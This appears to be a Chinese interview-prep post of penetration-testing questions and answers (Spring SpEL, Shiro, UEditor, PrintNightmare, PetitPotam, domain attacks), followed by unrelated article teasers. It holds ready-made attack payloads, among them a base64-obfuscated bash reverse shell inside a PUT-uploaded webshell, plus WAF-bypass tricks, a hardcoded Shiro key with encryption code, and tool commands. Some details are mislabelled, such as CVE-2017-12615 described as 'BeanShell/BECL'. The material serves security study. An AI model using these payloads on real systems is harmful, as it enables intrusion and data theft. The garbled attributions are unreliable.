2025年滲透測試面試題總結-某 長亭(題目+回答)

網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

長亭

一、Spring SpEL表達式注入漏洞

1. 技術原理

2. 利用條件

3. 攻擊方法

4. 防御策略

二、Java JDBC反序列化高版本不出網利用

1. 漏洞背景

2. 本地利用鏈構造

3. 利用步驟

4. 防御方案

三、Tomcat BeanShell(BECL)漏洞利用

1. 漏洞原理(CVE-2017-12615)

2. 攻擊流程

3. 防御措施

四、Shiro反序列化漏洞

1. 加密機制

2. 攻擊流程

3. WAF繞過技術

五、UEditor漏洞利用及WAF繞過

1. 受影響版本

2. 攻擊示例

3. WAF繞過技巧

六、內網Windows Print Spooler漏洞(PrintNightmare)

1. 漏洞原理(CVE-2021-34527)

2. 利用工具

3. 防御方案

七、PetitPotam攻擊原理

1. 攻擊流程

2. 工具使用

3. 緩解措施

八、域用戶與工作組用戶差異

九、域控攻擊方法論

1. 信息收集階段

2. 權限提升路徑

3. 持久化技術

十、Spring4Shell & Log4j漏洞對比

十一、外網常用打點漏洞清單

十二、任意文件讀取深度利用

1. 敏感文件枚舉

2. 組合利用案例

十三、用友NC BeanShell繞過WAF

1. 漏洞觸發點

2. 命令混淆技巧

3. WAF繞過方案

十四、Shiro Cookie過長WAF攔截解決方案

1. Payload壓縮技術

2. 內存馬注入

長亭

sping spel漏洞原理&利用方法 什么情況才能利用
java jdbc反序列化高版本不出網的條件下如何利用
tomcat becl如何利用
shiro 反序列化用的哪種加密方法 如何利用
ueditor 哪種語言環境存在漏洞 怎么利用 如何繞waf
內網windows print spooler 利用&原理
內網 PotiPetam利用&原理
域內用戶和工作組用戶的差別
如何攻擊域控
spring4shell&log4j利用
外網常用打點漏洞有哪些
一個任意文件讀取/任意文件下載,如何進一步利用
用友nc beanshell執行命令如何繞waf
shiro反序列化漏洞 如何cookie中的payload 過長被waf 攔截 如何繞waf

一、Spring SpEL表達式注入漏洞

1. 技術原理
  • 表達式解析機制:Spring框架在處理@Value注解、SpelExpressionParser時未正確過濾用戶輸入
  • 沙箱逃逸:通過T(Type)運算符訪問Java類加載器,例如:T(java.lang.Runtime).getRuntime().exec('calc')
  • 觸發場景:HTTP參數綁定、錯誤消息處理、動態模板渲染
2. 利用條件
  • Spring版本 < 5.0.6(CVE-2018-1270)
  • 存在用戶輸入直接拼接至SpEL表達式
  • 應用未啟用表達式安全模式(如StandardEvaluationContext被誤用)
3. 攻擊方法
httpPOST /vuln-endpoint HTTP/1.1 param=${T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")} 
4. 防御策略
  • 升級Spring至5.0.6+版本
  • 全局替換StandardEvaluationContextSimpleEvaluationContext
  • 輸入過濾:正則表達式攔截T\(.*?\)等危險語法

二、Java JDBC反序列化高版本不出網利用

1. 漏洞背景
  • MySQL Connector/J 8.0+反序列化限制autoDeserialize參數默認關閉
  • 不出網限制:無法建立JNDI連接或RMI反向Shell
2. 本地利用鏈構造
  • TemplatesImpl鏈
    java// 生成惡意字節碼 ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); clazz.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 注入靜態代碼塊執行命令... byte[] byteCode = clazz.toBytecode(); // 構造TemplatesImpl對象 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{byteCode}); setFieldValue(templates, "_name", "Exploit");
3. 利用步驟
  1. 利用CC鏈(如CC6)觸發TemplatesImpl#newTransformer()
  2. 通過JDBC連接屬性觸發反序列化: jdbc:mysql://host:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
4. 防御方案
  • 升級JDBC驅動至最新版
  • 配置數據庫連接池禁用autoDeserialize參數

三、Tomcat BeanShell(BECL)漏洞利用

1. 漏洞原理(CVE-2017-12615)
  • BeanShell腳本引擎:Tomcat默認允許.bsh文件解析
  • 文件上傳繞過:利用PUT方法上傳.jsp文件時,添加/后綴繞過過濾(如shell.jsp%20
2. 攻擊流程
httpPUT /test.jsp%20 HTTP/1.1 <% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"); %>
3. 防御措施
  • 禁用HTTP PUT方法
  • 配置web.xml 限制腳本文件擴展名

四、Shiro反序列化漏洞

1. 加密機制
  • AES-CBC模式:默認使用硬編碼密鑰kPH+bIxk5D2deZiIxcaaaA==
  • RememberMe Cookie結構:Base64(AES(序列化數據))
2. 攻擊流程
  1. 生成惡意對象:
    bashjava -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin 
  2. 加密payload:
    pythonfrom Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(payload)) 
  3. 發送Cookie:Cookie: rememberMe=Base64(encrypted)
3. WAF繞過技術
  • 分塊傳輸:將Cookie拆分為多個rememberMe=part1; rememberMe=part2
  • 注釋符注入:利用/**/分割payload,如reme/*xxx*/mberMe=...
  • 短Payload構造:使用URLClassLoader加載遠程jar(需DNS出網)

五、UEditor漏洞利用及WAF繞過

1. 受影響版本
  • JSP版本:1.4.3之前存在任意文件上傳(CVE-2017-1000498)
  • 漏洞路徑/ueditor/jsp/controller.jsp?action=uploadfile
2. 攻擊示例
httpPOST /ueditor/jsp/controller.jsp?action=uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDE ------WebKitFormBoundaryABCDE Content-Disposition: form-data; name="upfile"; filename="test.jsp" Content-Type: image/jpeg <% out.println("Hello Vuln!"); %>
3. WAF繞過技巧
  • MIME偽裝:修改Content-Type為image/png
  • 路徑遍歷:文件名設置為../../../test.jsp
  • Unicode編碼test.%6a%73%70

六、內網Windows Print Spooler漏洞(PrintNightmare)

1. 漏洞原理(CVE-2021-34527)
  • RPC協議缺陷RpcAddPrinterDriverEx未驗證調用者權限
  • 驅動程序加載:遠程加載惡意DLL實現SYSTEM權限執行
2. 利用工具
powershellInvoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"
3. 防御方案
  • 禁用Print Spooler服務
  • 安裝2021年7月微軟補丁

七、PetitPotam攻擊原理

1. 攻擊流程
  1. 強制域控通過MS-EFSRPC協議向攻擊者發起NTLM認證
  2. 中繼認證至LDAP服務,修改域對象ACL
  3. 授予攻擊者DCSync權限,導出krbtgt哈希
2. 工具使用
bashpython3 petitpotam.py -d domain.local -u user -p pass 192.168.1.100 192.168.1.1 
3. 緩解措施
  • 啟用SMB簽名
  • 禁用NTLM認證

八、域用戶與工作組用戶差異

特征域用戶工作組用戶
認證中心域控制器(AD)本地SAM數據庫
策略管理組策略統一應用本地策略獨立配置
資源共享域內全局訪問需手動配置共享權限
典型攻擊面Kerberoasting、DCSync本地提權、密碼復用

九、域控攻擊方法論

1. 信息收集階段
  • BloodHound分析:識別高價值路徑(如域管登錄過的機器)
  • SPN掃描setspn -T domain -Q */*
2. 權限提升路徑
  • MS14-068:偽造PAC獲取域管權限(需未打補丁)
  • ZeroLogon:重置域控機器賬戶密碼(CVE-2020-1472)
3. 持久化技術
  • Golden Ticket:使用krbtgt哈希生成任意用戶TGT
  • SID History注入:添加域管SID至普通用戶

十、Spring4Shell & Log4j漏洞對比

特征Spring4Shell (CVE-2022-22965)Log4j (CVE-2021-44228)
觸發條件Tomcat+War部署、JDK9+日志記錄包含${jndi:ldap://}
利用鏈數據綁定→日志文件寫入WebShellJNDI→LDAP加載遠程類
回顯方式需訪問寫入的JSP文件直接通過DNS/HTTP請求外帶數據
影響版本Spring 5.3.0-5.3.17, 5.2.0-5.2.19Log4j 2.0-beta9 - 2.14.1

十一、外網常用打點漏洞清單

  1. Web漏洞
    • SQL注入(如時間盲注繞過WAF)
    • 文件上傳(類型校驗繞過)
    • SSRF(云元數據API利用)
  2. 框架漏洞
    • Shiro反序列化
    • Fastjson JNDI注入
  3. 協議漏洞
    • FTP匿名訪問
    • Redis未授權訪問

十二、任意文件讀取深度利用

1. 敏感文件枚舉
  • Linux/etc/passwd/proc/self/environ~/.ssh/id_rsa
  • WindowsC:\Windows\win.iniC:\Windows\Panther\Unattended.xml
2. 組合利用案例
  • 讀取Spring配置文件:獲取數據庫密碼→橫向移動
  • 獲取Kubernetes Token/var/run/secrets/kubernetes.io/serviceaccount/token

十三、用友NC BeanShell繞過WAF

1. 漏洞觸發點
  • 接口路徑/servlet/~ic/bsh.servlet.BshServlet
2. 命令混淆技巧
java// 原始payload exec("whoami"); // 混淆后 String cmd = "w" + "ho" + "am" + "i"; Runtime.getRuntime().exec(cmd); 
3. WAF繞過方案
  • Unicode轉義\u0077\u0068\u006f\u0061\u006d\u0069
  • 反射調用Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd")

十四、Shiro Cookie過長WAF攔截解決方案

1. Payload壓縮技術
  • GZIP壓縮:將序列化數據壓縮后加密
  • 分片存儲:將Payload拆分存儲至多個Cookie
2. 內存馬注入
  1. 發送短Payload加載ClassLoader
  2. 通過HTTP頭傳輸字節碼:X-Payload: CAFEBABE...
  3. 反射定義惡意類實現內存駐留

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73476.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73476.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73476.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

conda環境下解決gitk亂碼模糊

關鍵詞 conda、git、gitk、git gui、模糊、linux、亂碼 現象 操作系統&#xff1a;ubuntu24.04 conda版本&#xff1a;25.1.1 正常的終端里gitk顯示不會模糊 但是在conda創建的python虛擬環境中使用gitk&#xff0c;字體開始變得模糊不清 分析 根據deepseek的原因原因分析…

【C++項目實戰】:基于正倒排索引的Boost搜索引擎(1)

1. 項目的相關背景與目標 針對boost網站沒有搜索導航功能&#xff0c;為boost網站文檔的查找提供搜索功能 站內搜索&#xff1a;搜索的數據更垂直&#xff0c;數據量小 類似于cplusplus.com的搜索 2.搜索引擎的相關宏觀原理 3.技術棧和項目環境 技術棧&#xff1a;C/C&am…

汽車高級駕駛輔助系統應用存儲MRAM

高級駕駛輔助系統和先進的互連航空電子技術等應用要求元件能夠承受惡劣的環境條件&#xff0c;并具有較高的耐用性。閃存雖然在某些條件下性能可靠&#xff0c;但在耐用性方面存在局限性&#xff0c;因此無法滿足這些嚴格的要求。 在實時傳感器數據處理或高可靠性通信等對時間…

藍橋-班級活動

問題描述 小明的老師準備組織一次班級活動。班上一共有 n 名 (n 為偶數) 同學&#xff0c;老師想把所有的同學進行分組&#xff0c;每兩名同學一組。為了公平&#xff0c;老師給每名同學隨機分配了一個 n 以內的正整數作為 id&#xff0c;第 i 名同學的 id 為 ai?。 老師希望…

MongoDB 的索引是提高查詢性能的核心機制,類似于傳統關系型數據庫的索引。以下是對 MongoDB 索引的詳細說明:

MongoDB 的索引是提高查詢性能的核心機制&#xff0c;類似于傳統關系型數據庫的索引。以下是對 MongoDB 索引的詳細說明&#xff1a; 一、索引基礎 1. 索引的作用 加速查詢&#xff1a;通過索引快速定位數據&#xff0c;避免全集合掃描&#xff08;COLLSCAN&#xff09;。 排…

深入理解指針(1)(C語言版)

文章目錄 前言一、內存和地址1.1 內存1.2 究竟該如何理解編址 二、指針變量和地址2.1 取地址操作符&2.2 指針變量和解引用操作符*2.2.1 指針變量2.2.2 如何拆解指針類型2.2.3 解引用操作符 2.3 指針變量的大小 三、指針變量類型的意義3.1 指針的解引用3.2 指針-整數3.3 voi…

【視頻】m3u8相關操作

【視頻】郭老二博文之:圖像視頻匯總 1、視頻文件轉m3u8 1.1 常用命令 1)默認只保留 5 個ts文件 ffmpeg -i input.mp4 -start_number 0 -hls_time 10 -hls_list_size 0 -f hls stream1.m3u82)去掉音頻 -an,保留全部ts文件 ffmpeg -i input.mp4 -vf scale=640:480 -an -…

AWS CloudWatch 實戰:構建智能監控與自動化運維體系

摘要&#xff1a;本文通過實際案例&#xff0c;詳細講解如何利用AWS CloudWatch實現云端資源的實時監控、日志分析與自動化運維&#xff0c;助力企業提升系統穩定性與運維效率 一、場景痛點分析 某電商平臺遷移至AWS后面臨三大挑戰&#xff1a; 故障響應滯后&#xff1a;服務器…

第一天學爬蟲

閱讀提示&#xff1a;我今天才開始嘗試爬蟲&#xff0c;寫的不好請見諒。 一、準備工具 requests庫&#xff1a;發送HTTP請求并獲取網頁內容。BeautifulSoup庫&#xff1a;解析HTML頁面并提取數據。pandas庫&#xff1a;保存抓取到的數據到CSV文件中。 二、爬取步驟 發送請求…

網絡編程和計算機網絡五層模型的關系

計算機網絡的五層模型&#xff08;應用層、傳輸層、網絡層、鏈路層和物理層&#xff09;為網絡編程提供了基礎框架和通信機制。網絡編程就是在這些層次上實現應用程序之間的通信。 計算機網絡五層模型 &#xff08;1&#xff09;應用層&#xff1a; 作用&#xff1a;應用層是…

知識篇 | Oracle的 TEMP表空間管理和優化

Oracle臨時表空間&#xff08;TEMP&#xff09;是數據庫中用于存儲會話級臨時數據的核心組件&#xff0c;主要用于支持需要中間結果集的操作&#xff08;如排序、哈希連接&#xff09;。其數據在事務結束或會話終止后自動釋放&#xff0c;不持久化存儲。 核心特點&#xff1a;…

重學Java基礎篇—線程池參數優化指南

一、核心參數解析 線程池&#xff08;ThreadPoolExecutor&#xff09;的性能取決于以下關鍵參數&#xff1a; 參數說明corePoolSize核心線程數&#xff0c;即使空閑也不會被回收maximumPoolSize最大線程數&#xff0c;當隊列滿且核心線程忙時創建新線程workQueue任務隊列&…

記一次線上環境JAR沖突導致程序報錯org.springframework.web.util.NestedServletException

一、問題描述 有個文件導入功能&#xff0c;用到了Hutool 的加密解密功能&#xff0c;本地運行完全可以&#xff0c;但是線上報錯&#xff1a;“org.springframework.web.util.NestedServletException: Handler dispatch failed; nested exception is java.lang.NoClassDefFou…

怎么快速部署Sock5代理到ubuntu云服務器

使用 Dante (推薦) 1. 安裝 Dante bash Copy sudo apt update sudo apt install dante-server -y 2. 配置 Dante 編輯配置文件 /etc/danted.conf&#xff1a; bash Copy sudo nano /etc/danted.conf 替換為以下內容&#xff08;按需修改端口和認證&#xff09;&#…

華為OD機試2025A卷 - 游戲分組/王者榮耀(Java Python JS C++ C )

最新華為OD機試 真題目錄:點擊查看目錄 華為OD面試真題精選:點擊立即查看 題目描述 2020年題: 英雄聯盟是一款十分火熱的對戰類游戲。每一場對戰有10位玩家參與,分為兩組,每組5人。每位玩家都有一個戰斗力,代表著這位玩家的厲害程度。為了對戰盡可能精彩,我們需要…

OpenRAND可重復的隨機數生成庫

OpenRAND 是一個 C++ 庫,旨在通過提供強大且可復制的隨機數生成解決方案來促進可重復的科學研究。它是一個簡單的僅頭文件庫,性能可移植,統計穩健,并且易于集成到任何 HPC 計算項目中。 特征 跨平臺支持:OpenRAND 旨在跨各種平臺無縫工作,包括 CPU 和 GPU。其僅標題庫設計…

接口/UI自動化面試題

一、UI自動化 1.1、接口和UI自動化有多少用例&#xff1f; 回答策略&#xff1a;根據接口設定用例&#xff0c;100個接口&#xff0c;自動化case在1500-2000左右。結合自身的項目&#xff0c;回答覆蓋的主功能流程。 示例&#xff1a; 接口自動化的測試case一般需要根據接口數…

使用Docker部署RabbitMQ

第一步&#xff1a;安裝 RabbitMQ # 1. 拉取鏡像 docker pull rabbitmq:3.12.0-management# 2. 啟動容器&#xff08;開放端口 數據持久化&#xff09; docker run -d \--nameshare_rabbitmq \-p 5672:5672 \ # AMQP 協議端口-p 15672:15672 \ # 管理界面端口…

2.基于多線程的TCP服務器實現

目錄 1. 簡單分析之前的代碼 2. 多線程服務器設計 2.1 C11線程的基本使用 2.2 服務器主體邏輯 3. 錯誤處理的封裝 4. 完整的代碼實現 客戶端代碼&#xff08;client.cpp&#xff09; 服務器代碼&#xff08;server.cpp&#xff09; 5. 運行方式 在我們預想中&#xff…

Python Web 框架 Django、Flask 和 FastAPI 對比

在探索 Python Web 框架時&#xff0c;Django、Flask 和 FastAPI 無疑是最常被提及的名字。根據我們最新的 Python 開發者調查&#xff0c;這三大框架繼續穩坐后端 Web 開發的熱門寶座。它們均為開源項目&#xff0c;并且與 Python 的最新版本無縫兼容。然而&#xff0c;面對不…